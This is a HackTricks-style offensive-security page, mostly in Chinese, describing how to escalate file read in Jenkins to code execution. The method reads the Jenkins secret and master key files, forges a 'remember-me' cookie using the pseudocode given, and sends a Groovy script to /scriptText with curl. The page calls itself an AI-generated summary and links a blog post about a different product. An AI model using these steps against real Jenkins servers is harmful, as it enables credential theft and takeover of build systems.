Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
在这篇博客文章中,可以找到将Jenkins中的本地文件包含漏洞转化为RCE的好方法:https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
这是一个AI生成的摘要,关于如何利用任意cookie的构造来获取RCE,利用本地文件读取,直到我有时间自己创建摘要:
攻击前提
- 功能要求: 必须启用“记住我”(默认设置)。
- 访问级别: 攻击者需要整体/读取权限。
- 秘密访问: 能够读取关键文件中的二进制和文本内容。
详细利用过程
第一步:数据收集
用户信息检索
- 访问每个用户的用户配置和秘密,从
$JENKINS_HOME/users/*.xml中收集: - 用户名
- 用户种子
- 时间戳
- 密码哈希
密钥提取
- 提取用于签名cookie的加密密钥:
- 秘密密钥:
$JENKINS_HOME/secret.key - 主密钥:
$JENKINS_HOME/secrets/master.key - MAC密钥文件:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
第二步:Cookie伪造
令牌准备
- 计算令牌过期时间:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 将当前时间加一小时
- 连接令牌数据:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC密钥解密
- 解密MAC密钥文件:
key = toAes128Key(masterKey) // 将主密钥转换为AES128密钥格式
decrypted = AES.decrypt(macFile, key) // 解密.mac文件
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
签名计算
- 计算HMAC SHA256:
mac = HmacSHA256(token, macKey) // 使用令牌和MAC密钥计算HMAC
tokenSignature = bytesToHexString(mac) // 将MAC转换为十六进制字符串
Cookie编码
- 生成最终Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64编码cookie数据
第三步:代码执行
会话认证
- 获取CSRF和会话令牌:
- 向
/crumbIssuer/api/json发送请求以获取Jenkins-Crumb。 - 从响应中捕获
JSESSIONID,该ID将与记住我cookie一起使用。
命令执行请求
- 发送带有Groovy脚本的POST请求:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy脚本可用于在Jenkins环境中执行系统级命令或其他操作。
提供的示例curl命令演示了如何使用必要的头和cookie向Jenkins发送请求以安全地执行任意代码。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

